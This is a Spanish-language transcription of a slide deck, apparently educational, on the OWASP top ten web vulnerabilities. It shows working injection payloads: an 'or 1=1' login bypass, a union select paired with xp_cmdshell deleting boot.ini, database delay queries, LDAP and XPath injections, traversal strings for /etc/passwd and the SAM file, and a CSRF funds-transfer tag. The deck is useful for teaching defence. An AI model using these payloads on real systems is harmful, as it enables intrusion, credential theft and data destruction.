The Open Web Application Security Project

Tamaño: px
Comenzar la demostración a partir de la página:

Download "The Open Web Application Security Project"

Transcripción

1 The Open Web Application Security Project THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES 0_2007.pdf 1

2 2

3 SQL Injection LDAP Injection Xpath Injection Y a ciegas Blind SQL Injection Blind LDAP Injection Blind XPAth Injection Aplicaciones con mala comprobación de datos de entrada. Datos de usuario. Formularios otext opassword otextarea olist omultilist Datos de llamadas a procedimientos. Links Funciones Scripts Actions Datos de usuario utilizados en consultas a base de datos. Mala construcción de consultas a bases de datos. 3

4 Permiten al atacante: Saltar restricciones de acceso. Elevación de privilegios. Extracción de información de la Base de Datos Parada de SGBDR. Ejecución de comandos en contexto usuario bd dentro del servidor. Ejemplo 1: Autenticación de usuario contra base de datos. Usuario Clave **************** Select idusuario from tabla_usuarios Where nombre_usuario= $usuario And clave= $clave ; 4

5 Ejemplo 1 (cont) Usuario Clave Administrador or 1 = 1 Select idusuario from tabla_usuarios Where nombre_usuario= Administrador And clave= or 1 = 1 ; Ejemplo 2: Acceso a información con procedimientos de listado. Ó 5

6 Ejemplo 2 (cont): union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell( del c:\boot.ini ); shutdown -- Ó union select...; otra instrucción; -- Escrita por Francisco Amato Obtener la estructura y datos completa de la BBDD. 1 Injección para la estructura 1 post paracadafila Totalmente automática Soporta n bases de datos. Descargable(app y source) 6

7 Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc) Microsoft OLE DB ProviderforSQL Server error '80040e07' Conversion failed when converting the nvarchar value 'sys' todata typeint. /Programa.asp, line 8 Programa.asp?id=218 and 1=(select top 1 name from sysusers where name< sys order by 1 desc) 7

8 8

9 La aplicación Web no muestra ningún mensaje de error. La aplicación no procesa nuestros comandos Select titulo from tabla where param=$param Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo: and 1=1 and 1=2 9

10 Como reconocer un falso? Da un código de error Da una página de error Cambia el hash de la firma Cambia el árbol html Tarda más en responder Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas: and 300>(select ascii(substring(username,1,1) from all_users where rownum<=1) 10

11 Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual Podemos utilizar las mismas técnicas de inyección descritas anteriormente 21 Cómo podemos conseguir el retardo? Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos SQL Server: waitfor delay Oracle: dbms_lock.sleep MySQL: sleep Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria) CROSS JOIN que involucren muchas tablas De cualquier otra forma (ej: xp_cmdshell'ping ') 22 11

12 Instrucciones de retardo del propio SGBD Microsoft SQL Server ; if(exists(select * from contrasena)) waitfor delay'0:0:5' Oracle ; begin if (condicion) then dbms_lock.sleep(5); end if; end; MySQL(versión 5) and exists(select * from contrasena) and sleep(5) and exists(select * fromcontrasena)and benchmark( ,md5(rand()))=0 Microsoft Access no tiene instrucciones de retardo

13 Consultas pesadas La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN Joins Filas Columnas Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas Consultas pesadas: estructura SELECT COUNT(*) FROM tabla T1, tabla T2,, tabla Tn Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsulta SQL antes o después del operador lógico AND subconsulta AND consulta_pesada AND consulta_pesada AND subconsulta iculos_seguridad/2007/septiembre/sv0907.mspx 26 13

14 Consultas pesadas: tablas recomendadas Microsoft SQL Server sysusers Oracle all_users MySQL (versión 5) information_schema.columns Microsoft Access MSysAccessObjects (versiones 97 y 2000) MSysAccessStorage (versiones 2003 y 2007) 27 Verdad: La consulta dura 6 segundos. 14

15 Falso: La consulta dura 1 segundo. 15

16 16

17 Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybasey Oracle utilizando suma linear de valores ASCII. Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybasey Oracle utilizando suma linear de valores ASCII. 17

18 18

19 19

20 Sniffing de Passwords LDAP Recogida de certificados servidores LDAP-s MITM LDAP-s LDAP: Base de datos Jerarquica Clases Objetos Herencia Contenedores Búsqueda: LDAP Search Filters 20

21 filter = LPAREN filtercomp RPAREN filtercomp = and / or / not / item and = AMPERSAND filterlist or = VERTBAR filterlist not = EXCLAMATION filter filterlist = 1*filter item = simple / present / substring / extensible simple = attr filtertype assertionvalue filtertype = equal / approx / greaterorequal / lessorequal equal = EQUALS approx = TILDE EQUALS greaterorequal = RANGLE EQUALS lessorequal = LANGLE EQUALS (&(atributo1=valor1)(atributo2=valor2)) Ejemplo: (&(directorio=nombre_directorio)(nivel_seguridad=bajo)) Inyección: (&(directorio=almacen)(nivel_seguridad=alto))( (directorio=al macen)(nivel_seguridad=bajo)) 21

22 ( (atributo1=valor1)(atributo2=valor2)) Ejemplo: ( (cn=d*)(ou=groups)) Inyección: ( (cn=void)(uid=*))(ou=groups)) Tiene lógica binaria Tiene soporte para booleanización: Comodín: * Reducción charset: *a* Despliegue: a* Relacionales: >= <= ~= = 22

23 Certezas absolutas (RFC 4256) AbsoluteFALSE ( ) AbsoluteTRUE (&) Anomalías: NOT absoluto? (!)-> equivalente a! Caracteres fuera del alfabeto Ñ* -> equivalente a * Ç* -> equivalente a * ** -> equivalente a ERROR!! 23

24 Explotación Dada la siguiente consulta Xpath: string(//user[username/text()= romansoft' and password/text()='!dsr']/uid/text()) Dónde buscar Condición Qué devolver Inyectamos: User: abc' or 1=1 or 'a'='b Pass: k La condición quedaría: username/text()= abc' or 1=1 or 'a'='b' and password/text()= k' Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores Se debe a una mala programación o uso de la función include() Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor 24

25 La vulnerabilidad es producida por código semejante a este $page = $_GET['page']; include($page); En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs) 25

26 Mediante las shellphp se pueden ejecutar comandos en una página Web Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. El cucharón Rutas a ficheros no controladas File=../../../../etc/passw id= /../windows/repair/sam 26

27 Session Riding, One-Click Attacks, Cross Site Reference Forgery, Hostile Linking, Automation Attack o XSRF. Pormediode unainjecciónse fuerzala ejecuciónde acciones automáticas por parte del usuario. <imgsrc=" <img src=" frmacct=document.form.frmacct&toacct= &toswiftid=434343&amt= "> 27

28 Se deja información sensible sin asegurar Se muestran mensajes de error detallados 7.- Autenticación Rota y Gestión de Sesión Partes sin comprobar autenticación No procesos de logout seguro. 8.- Almacenamiento con Criptografía insegura Datos sin cifrar o mal cifrados 9.- Comunicaciones Inseguras 10.-URLs mal restringidas Pueden ser adivinadas o bruteforceadas 28

29 Chema Alonso Francisco Amato Infobyte Technews I64. Suscríbete Gratis en November

30 Blind SQL Injection Time-Bases Blind SQL Injection with heavy Queries eptiembre/sv0907.mspx LDAP Injection & Blind LDAP Injection XPath injection in XML databases Blind XPath Injection pdf Milw0rm (Webapps exploits) -OWASP 30

Lección 7: INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL

Lección 7: INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL Lección 7: INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL Chema Alonso chema@informatica64.com Informática 64 Microsoft MVP en Enterprise Security Incidentes de Seguridad I: Kaspersky 2 Incidentes de Seguridad

Más detalles

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL AUTOR: Chema Alonso Consultor de Seguridad en Informática 64. Microsoft MVP Enterprise Security

Más detalles

RETO HACKER DE VERANO

RETO HACKER DE VERANO RETO HACKER DE VERANO Blind XPath Reto Hacker de verano Índice 1 Introducción... 2 2 Proceso de trabajo... 2 2.1 Toma de contacto (fingerprinting)... 2 2.2 Comienza el ataque... 4 2.3 Explicacion del ataque

Más detalles

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Temario 1. Introducción 2. Cross Site Scripting (XSS) 3. Inyección SQL 4. Nuestro código en el servidor 5.

Más detalles

Unidad III: Lenguaje de manipulación de datos (DML) 3.1 Inserción, eliminación y modificación de registros

Unidad III: Lenguaje de manipulación de datos (DML) 3.1 Inserción, eliminación y modificación de registros Unidad III: Lenguaje de manipulación de datos (DML) 3.1 Inserción, eliminación y modificación de registros La sentencia INSERT permite agregar nuevas filas de datos a las tablas existentes. Está sentencia

Más detalles

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet Hacking Ético Web I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com @ciyinet Índice Introducción OWASP OWASP Top 10 (2010) Demostración ataques Inyección SQL

Más detalles

Base de Datos Oracle 10g: Introducción a SQL Código: D17216 - Duración: 5 días (40 horas)

Base de Datos Oracle 10g: Introducción a SQL Código: D17216 - Duración: 5 días (40 horas) Base de Datos Oracle 10g: Introducción a SQL Código: D17216 - Duración: 5 días (40 horas) Lo que aprenderá Esta clase es aplicable para los usuarios de Oracle8i, Oracle9i y Oracle Database 10g. En este

Más detalles

CONSULTAS CON SQL. 3. Hacer clic sobre el botón Nuevo de la ventana de la base de datos. Aparecerá el siguiente cuadro de diálogo.

CONSULTAS CON SQL. 3. Hacer clic sobre el botón Nuevo de la ventana de la base de datos. Aparecerá el siguiente cuadro de diálogo. CONSULTAS CON SQL 1. Qué es SQL? Debido a la diversidad de lenguajes y de bases de datos existentes, la manera de comunicar entre unos y otras sería realmente complicada a gestionar de no ser por la existencia

Más detalles

Consultas con combinaciones

Consultas con combinaciones UNIDAD 1.- PARTE 2 MANIPULACIÓN AVANZADA DE DATOS CON SQL. BASES DE DATOS PARA APLICACIONES Xochitl Clemente Parra Armando Méndez Morales Consultas con combinaciones Usando combinaciones (joins), se pueden

Más detalles

select nombre from profesores where categoria='aso6';

select nombre from profesores where categoria='aso6'; 1 de 10 17/05/2013 14:00 Lecciones SQL > T11 Conjuntos Operaciones de conjuntos y MySQL Un operador sobre conjuntos combina el resultado de dos sentencias select en un único resultado. Dependiendo del

Más detalles

Christian Martorella - Vicente Díaz Edge-security Fist Conference April 2007

Christian Martorella - Vicente Díaz Edge-security Fist Conference April 2007 Christian Martorella - Vicente Díaz Edge-security Fist Conference April 2007 Indice Introducción a la seguridad de DB Motores de Bases de Datos Ataques internos Ataques externos Conclusiones Introducción

Más detalles

8283: Administración y programación en Microsoft SQL Server 2012

8283: Administración y programación en Microsoft SQL Server 2012 8283: Administración y programación en Microsoft SQL Server 2012 Este curso es orientado a los profesionales en desarrollo que desean maximizar la participación de SQL Server 2012 en beneficio del desempeño

Más detalles

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable 1. Introducción. El Sistema de Administración de Información de un Negocio Franquiciable (SAINF)

Más detalles

Introducción a PHP. * No es necesario declarar previamente las variables.

Introducción a PHP. * No es necesario declarar previamente las variables. Introducción a PHP La programación de sitios web cada día está más orientada al desarrollo de páginas dinámicas y aplicaciones, o sea sitios donde el usuario pueda interactuar con la web. Dentro de los

Más detalles

T12 Vistas y tablas temporales

T12 Vistas y tablas temporales 1 de 9 17/05/2013 14:01 Lecciones SQL > T12 Vistas y tablas temporales En esta sesión vamos a mostrar dos tipos de objetos de uso habitual en cualquier SGBD: las vistas y las tablas temporales. Mientras

Más detalles

Blind SQL Injectión. Práctico

Blind SQL Injectión. Práctico Blind SQL Injectión Práctico 1 Hola: Hace unos días prometí que publicaría un documento en el foro que nos ayudaría a entender mejor un Blind SQL Injection. La idea principal no es explicar un Blind SQL

Más detalles

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US Sobre mi Formación Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US Experiencia Aficiones 4+ años como desarrollador web, más de 2 en Drupal

Más detalles

SQL Server 2012 - SQL, Transact SQL Diseño y creación de una base de datos

SQL Server 2012 - SQL, Transact SQL Diseño y creación de una base de datos El modelo relacional 1. Introducción 9 2. Recordatorio sobre el almacenamiento de datos 9 2.1 Las diferentes categorías de datos 10 2.1.1 Los datos básicos 10 2.1.2 Los datos cambiantes 10 2.1.3 Los datos

Más detalles

SQL Server 2014 - SQL, Transact SQL Diseño y creación de una base de datos (con ejercicios prácticos corregidos)

SQL Server 2014 - SQL, Transact SQL Diseño y creación de una base de datos (con ejercicios prácticos corregidos) El modelo relacional 1. Introducción 9 2. Recordatorio sobre el almacenamiento de datos 9 2.1 Las diferentes categorías de datos 10 2.1.1 Los datos básicos 10 2.1.2 Los datos cambiantes 10 2.1.3 Los datos

Más detalles

SQL Injection en SQL Server y función convert()

SQL Injection en SQL Server y función convert() 25 Nov 2011 SQL Injection en SQL Server y función convert() Este artículo esta escrito con fines didácticos y nunca para incitar o promover que el lector use esto con fines delictivos. No me hago responsable

Más detalles

Sistemas Manejadores de Bases de Datos ( Postgres)

Sistemas Manejadores de Bases de Datos ( Postgres) Sistemas Manejadores de Bases de Datos ( Postgres) Problema Las información es un recurso fundamental en toda gran organización Actualmente se generan grandes cantidades de información, la cual puede saturar

Más detalles

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com Seminario de SEGURIDAD WEB Pedro Villena Fernández www.consultoriainnova.com Algunas cosas antes de empezar... Este seminario NO tiene la intención de piratear otras webs. Los ataques que aprenderemos

Más detalles

OpenProdoc. ECM Open Source

OpenProdoc. ECM Open Source OpenProdoc ECM Open Source Índice Visión General Arquitectura Funciones Seguridad Administración Requerimientos Evolución Visión General OpenProdoc es un gestor documental de código abierto. Cuenta con

Más detalles

ÍNDICE CAPÍTULO 1. TIPOS DE ALMACENAMIENTO DE LA INFORMACIÓN... 13

ÍNDICE CAPÍTULO 1. TIPOS DE ALMACENAMIENTO DE LA INFORMACIÓN... 13 ÍNDICE CAPÍTULO 1. TIPOS DE ALMACENAMIENTO DE LA INFORMACIÓN... 13 1.1 SISTEMAS LÓGICOS DE ALMACENAMIENTO DE LA INFORMACIÓN...13 1.2 ALMACENAMIENTO EN FICHEROS...13 1.2.1 Registros físicos y registros

Más detalles

Guía práctica de SQL

Guía práctica de SQL Guía práctica de SQL Francisco Charte Ojeda Agradecimientos Introducción Qué es SQL? Aplicaciones de SQL Intérpretes de SQL Tipos de RDBMS Cómo usar este libro Convenciones tipográficas 1. El modelo relacional

Más detalles

Ataques a Aplicaciones de Bases de Datos

Ataques a Aplicaciones de Bases de Datos Ataques a Aplicaciones de Bases de Datos Esteban Martínez Fayó Argeniss (www.argeniss.com) ekoparty security conference Noviembre 2007 Buenos Aires, Argentina Agenda Introducción a la seguridad en Bases

Más detalles

Aplicaciones seguras con ClaseSeguridad

Aplicaciones seguras con ClaseSeguridad Aplicaciones seguras con ClaseSeguridad Índice de contenido Por que ClaseSeguridad?...1 Referenciar ClaseSeguridad...1 Declaración y creación...1 Evitar inyección de SQL...1 Eliminar etiquetas...3 Evitar

Más detalles

Práctica A: Procedimientos para agrupar y resumir datos

Práctica A: Procedimientos para agrupar y resumir datos Procedimientos para agrupar y resumir datos 1 Práctica A: Procedimientos para agrupar y resumir datos Objetivos Después de realizar esta práctica, el alumno será capaz de: Utilizar las cláusulas GROUP

Más detalles

Solución al Reto Hacking v2.0 de Informática 64

Solución al Reto Hacking v2.0 de Informática 64 Febrero 2007 Introducción Este documento describe dos soluciones posibles al segundo Reto Hacking de Informática 64 que se publicó el 10 de febrero de 2007 en la siguiente dirección web: http://retohacking2.elladodelmal.com

Más detalles

PHP 5.6 Desarrollar un sitio web dinámico e interactivo

PHP 5.6 Desarrollar un sitio web dinámico e interactivo Introducción 1. Objetivo del libro 9 2. Breve historia de PHP 10 3. Dónde conseguir PHP? 10 4. Convenciones de escritura 11 Información general sobre PHP 1. Qué es PHP? 13 2. Estructura básica de una página

Más detalles

5- Uso de sentencias avanzadas

5- Uso de sentencias avanzadas Objetivos: 5- Uso de sentencias avanzadas Elaborar sentencias de manejo de datos. Recursos: Microsoft SQL Server Management Studio Guías prácticas. Introducción: Después de trabajar con las sentencias

Más detalles

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen Web: Ataque y defensa Introducción. Cross Site Scripting (XSS). SQL Injection. Programador? quien yo?. Ataques NG. Prevención.

Más detalles

Apuntes de la Unidad 1 de Base de Datos

Apuntes de la Unidad 1 de Base de Datos DEFINICIÓN DE BASE DE DATOS.- Base de Datos es un conjunto de datos relacionados entre sðy que tienen un significado implðcito. En un sistema de información se cuenta con dos enfoques principales para

Más detalles

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP SOLUTIONS FOR KEEPING YOUR BUSINESS UP Email: info@ximark.com Tel. +(507) 271 5951 Tel. +(1) 928 752 1325 Aptdo. 55-0444, Paitilla. Panama City, Panama SECURITY DAY PERU Ataques a las Aplicaciones Web

Más detalles

ÍNDICE. Introducción... Capítulo 1. Novedades de Access 2013... 1

ÍNDICE. Introducción... Capítulo 1. Novedades de Access 2013... 1 Introducción... XIII Capítulo 1. Novedades de Access 2013... 1 Nuevas posibilidades de cifrado, compactación y reparación de archivos... 1 Trabajo en la nube... 2 Compartir la información... 3 Guardar

Más detalles

Programación en Internet Curso 2007-2008. Índice

Programación en Internet Curso 2007-2008. Índice Departamento de Lenguajes y Sistemas Informáticos Diseño de un sitio web Programación en Internet Curso 2007-2008 Índice Introducción Descripción del sitio Paso 1: modelo de datos Paso 2: crear el diagrama

Más detalles

Manual de Panel de Control de Hosting Compartido

Manual de Panel de Control de Hosting Compartido Manual de Panel de Control de Hosting Compartido Manual Hosting Compartido 1 Índice 1 INTRODUCCIÓN 3 2 SERVICIOS DISPONIBLES 5 2.1 Gestión de FTP 5 2.1.1 Cuentas FTP 5 2.1.2 Crear cuenta FTP 5 2.2 Estadísticas

Más detalles

8 SQL SERVER 2008 RA-MA

8 SQL SERVER 2008 RA-MA ÍNDICE Capítulo 1. Características, novedades y entorno de trabajo... 17 1.1 Novedades en SQL Server 2008... 17 1.2 Instalación de Microsoft SQL Server 2008... 19 1.3 Versiones de Microsoft SQL Server

Más detalles

Oracle 12c DISEÑO Y PROGRAMACIÓN

Oracle 12c DISEÑO Y PROGRAMACIÓN Oracle 12c Se estudia el servidor de bases de datos empresarial Oracle 12c, centrándose especialmente en el punto de vista de un diseñador o programador de bases de datos, pero explicando también cómo

Más detalles

Gestión de archivos (módulo transversal, MF0978_2)

Gestión de archivos (módulo transversal, MF0978_2) Gestión de archivos (módulo transversal, MF0978_2) Curso de capacitación para la obtención del módulo formativo Gestión de archivos del Certificado de profesionalidad (código MF0978_2), asociado a la unidad

Más detalles

MAESTRO DE PHP PHP NIVEL 1

MAESTRO DE PHP PHP NIVEL 1 MAESTRO DE PHP MAESTRO DE PHP es el curso más completo diseñado para que aprendas desde 0 hasta poder desarrollar aplicaciones robustas utilizando Frameworks. Incluye los Cursos PHP Nivel 1 y PHP Avanzado

Más detalles

GUÍA TÉCNICA. Desarrollo de Proyectos en Plataforma Liferay en el Gobierno de Extremadura

GUÍA TÉCNICA. Desarrollo de Proyectos en Plataforma Liferay en el Gobierno de Extremadura Desarrollo de Proyectos en en el Gobierno de Extremadura Página 1 de 10 Control de versiones Núm Fecha Descripción Autores 1.0 01/09/2012 Estandar para el desarrollo de portales con el gestor de contenidos

Más detalles

CURSO DE SQL SERVER 2005

CURSO DE SQL SERVER 2005 CURSO DE SQL SERVER 2005 Una vez finalizado el curso, el alumno estará preparado para: Instalar y configurar SQL Server 2005. Comprender los conceptos más importantes del diseño de bases de datos. Crear

Más detalles

Conexión ODBC Visual Basic - MSQL. Cristian Vidal Silva

Conexión ODBC Visual Basic - MSQL. Cristian Vidal Silva Conexión ODBC Visual Basic - MSQL Cristian Vidal Silva Qué es un Sistema Cliente Servidor Puede ejecutarse en al menos dos computadores distintos. Existen Procesos Clientes y Procesos Servidores. Un Proceso

Más detalles

Índice. iii. Objetivos... 24

Índice. iii. Objetivos... 24 Índice Objetivos... 2 1: Modelación de base de datos... 2 2: Ejemplo de un caso de negocios... 3 2.1: Requerimientos de la aplicación... 4 2.2: Características de flujo de información... 4 2.3: Diagrama

Más detalles

Toda base de datos relacional se basa en dos objetos

Toda base de datos relacional se basa en dos objetos 1. INTRODUCCIÓN Toda base de datos relacional se basa en dos objetos fundamentales: las tablas y las relaciones. Sin embargo, en SQL Server, una base de datos puede contener otros objetos también importantes.

Más detalles

Utilización del programa de Orabench Versión 9.2.0 para Migración. Describir los pasos para la utilización del programa Orabench 9.2.0 de Oracle.

Utilización del programa de Orabench Versión 9.2.0 para Migración. Describir los pasos para la utilización del programa Orabench 9.2.0 de Oracle. Página 1 de 15 1. Objetivo y Alcance Describir los pasos para la utilización del programa Orabench 9.2.0 de Oracle. Comprende la utilización del Programa Orabench de Oracle. 2 Responsable El responsable

Más detalles

INYECCIóN DE CóDIGO EN APLICACIONES PHP. Autor: Iñaki Rodriguez (2005) (mra@euskalnet.net)

INYECCIóN DE CóDIGO EN APLICACIONES PHP. Autor: Iñaki Rodriguez (2005) (mra@euskalnet.net) INYECCIóN DE CóDIGO EN APLICACIONES PHP Autor: Iñaki Rodriguez (2005) (mra@euskalnet.net) 0 - Introducción Este sencillo artículo nos introduce un poco en el mundo de las auditorías de aplicaciones web.

Más detalles

1. Creación de colecciones y documentos XML en nuestra herramienta exist-db Open Source Native XML Database.

1. Creación de colecciones y documentos XML en nuestra herramienta exist-db Open Source Native XML Database. TALLER No. 3 Fecha: 24 de Febrero del 2011 SISTEMAS DE RECUPERACION DE INFORMACION EN LA WEB Profesor: Jaime Alberto Guzmán Luna Monitor: Josimar Sánchez Agudelo Objetivos Familiarizarse con el uso de

Más detalles

Redes y Consultoría al Comercio Exterior. Manual Técnico

Redes y Consultoría al Comercio Exterior. Manual Técnico Redes y Consultoría al Comercio Exterior Manual Técnico Este manual está dirigido a Implementadores y desarrolladores del SIRWebAccess, indica los requisitos, particularidades de desarrollo e implementación

Más detalles

De uno a uno : Ejemplo de una llave primaria a otra llave primaria De uno a muchos : Ejemplo de una llave primaria a una Regular o Foránea.

De uno a uno : Ejemplo de una llave primaria a otra llave primaria De uno a muchos : Ejemplo de una llave primaria a una Regular o Foránea. Curso de Visual Foxpro - Volumen II ( Creación de la Base de Datos) Las relaciones mas comunes entre tablas se definen : De uno a uno : Ejemplo de una llave primaria a otra llave primaria De uno a muchos

Más detalles

Registro y Comunicación Automatizada a Bases de Datos

Registro y Comunicación Automatizada a Bases de Datos $ Registro y Comunicación Automatizada a Bases de Datos Luis Guizar Ingeniero de Campo National Instruments México Antes de Empezar: Qué Módulos y Librerías están Soportadas por LabVIEW Core? Report Generation

Más detalles

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Capítulo 2.- Vulnerabilidades en aplicaciones web. Capítulo 2.- Vulnerabilidades en aplicaciones web. En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como

Más detalles

Sistemas de Datos Curso: Ernesto Chinkes. Subconsultas Stored Procedures - Triggers

Sistemas de Datos Curso: Ernesto Chinkes. Subconsultas Stored Procedures - Triggers Subconsultas Stored Procedures - Triggers Subconsultas Concepto Ubicación En el SELECT En el FROM En el WHERE Operadores IN ANY-ALL EXISTS Concepto Son sentencias SELECT que aparecen dentro de otra consulta

Más detalles

Base de datos relacional

Base de datos relacional Base de datos relacional Una base de datos relacional es una base de datos que cumple con el modelo relacional, el cual es el modelo más utilizado en la actualidad para modelar problemas reales y administrar

Más detalles

Un nombre de usuario de 30 caracteres o menos, sin caracteres especiales y que inicie con una letra.

Un nombre de usuario de 30 caracteres o menos, sin caracteres especiales y que inicie con una letra. Unidad IV: Seguridad 4.1 Tipos de usuario El objetivo de la creación de usuarios es establecer una cuenta segura y útil, que tenga los privilegios adecuados y los valores por defecto apropiados Para acceder

Más detalles

Su Seguridad es Nuestro Éxito

Su Seguridad es Nuestro Éxito Su Seguridad es Nuestro Éxito c. Santander, 101. Edif. A. 2º I 08030 Barcelona I Tel.: 93 305 13 18 I Fax: 93 278 22 48 I info@isecauditors.com I www.isecauditors.com OWASP Conference 2007 Barcelona, Julio

Más detalles

Programación páginas web. Servidor (PHP)

Programación páginas web. Servidor (PHP) Programación páginas web. Servidor (PHP) Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte servidor con la tecnología PHP y el servidor de bases de datos MySQL.

Más detalles

E³.series - Documentación

E³.series - Documentación E³.series - Documentación Requisitos Solución de Problemas Requisitos / Solución de Problemas Contenido Requisitos...1 Requisitos...1 Solución de problemas...2 Solución de Problemas...2 E³.series I Requisitos/Solución

Más detalles

Curso de PHP con MySQL Gratis

Curso de PHP con MySQL Gratis Curso de PHP con MySQL Gratis Introducción Este mini curso o mini tutorial de PHP le ayudará a realizar cualquier sistema para que pueda insertar uno o varios registros a una base de datos con MySQL, este

Más detalles

Manual de ACCESS Intermedio

Manual de ACCESS Intermedio Manual de ACCESS Intermedio Funciones agregadas (GROUP BY) Las funciones agregadas proporcionan información estadística sobre conjuntos de registros. Por ejemplo, puede usar una función agregada para contar

Más detalles

SFX-SQLi SELECT FOR XML SQL INJECTION

SFX-SQLi SELECT FOR XML SQL INJECTION v1.0 SFX-SQLi SELECT FOR XML SQL INJECTION Extracción rápida de información utilizando inyección SQL con instrucciones XML Daniel Kachakil (dani@kachakil.com) 5 de febrero de 2009 Contenido Resumen...

Más detalles

AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS

AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS Las auditorias técnicas según el Reglamento 211/2011 de la Unión Europea y según el Reglamento de

Más detalles

Manual De Instalación MySQl 5.1 MANUAL DE INSTALACIÓN Y CONFIGURACIÓN DE MYSQL 5.1.40

Manual De Instalación MySQl 5.1 MANUAL DE INSTALACIÓN Y CONFIGURACIÓN DE MYSQL 5.1.40 MANUAL DE INSTALACIÓN Y CONFIGURACIÓN DE MYSQL 5.1.40 Página 1 de 15 1.- Ejecutamos el fichero mysql-essential-5.1.40-win32. Espera unos minutos mientras se cargan los archivos necesarios para la instalación

Más detalles

8 MICROSOFT SQL SERVER 2008 R2. CURSO PRÁCTICO RA-MA

8 MICROSOFT SQL SERVER 2008 R2. CURSO PRÁCTICO RA-MA ÍNDICE CAPÍTULO 1. CARACTERÍSTICAS, NOVEDADES Y ENTORNO DE TRABAJO...17 1.1 NOVEDADES EN SQL SERVER 2008 R2...17 1.2 INSTALACIÓN DE MICROSOFT SQL SERVER 2008 R2...18 1.3 VERSIONES DE MICROSOFT SQL SERVER

Más detalles

BASE DE DATOS QUÉ ES UNA BASE DE DATOS?

BASE DE DATOS QUÉ ES UNA BASE DE DATOS? BASE DE DATOS BASE DE DATOS QUÉ ES UNA BASE DE DATOS? Una base de datos se puede definir como un conjunto de información relacionada que se encuentra agrupada ó estructurada. Actualmente la mayoría de

Más detalles

2.6.2.- Aplicaciones de las vistas. 2.6.1.- Concepto de vista. 2.6.3.- Vistas en SQL. 2.6.3.- Vistas en SQL.

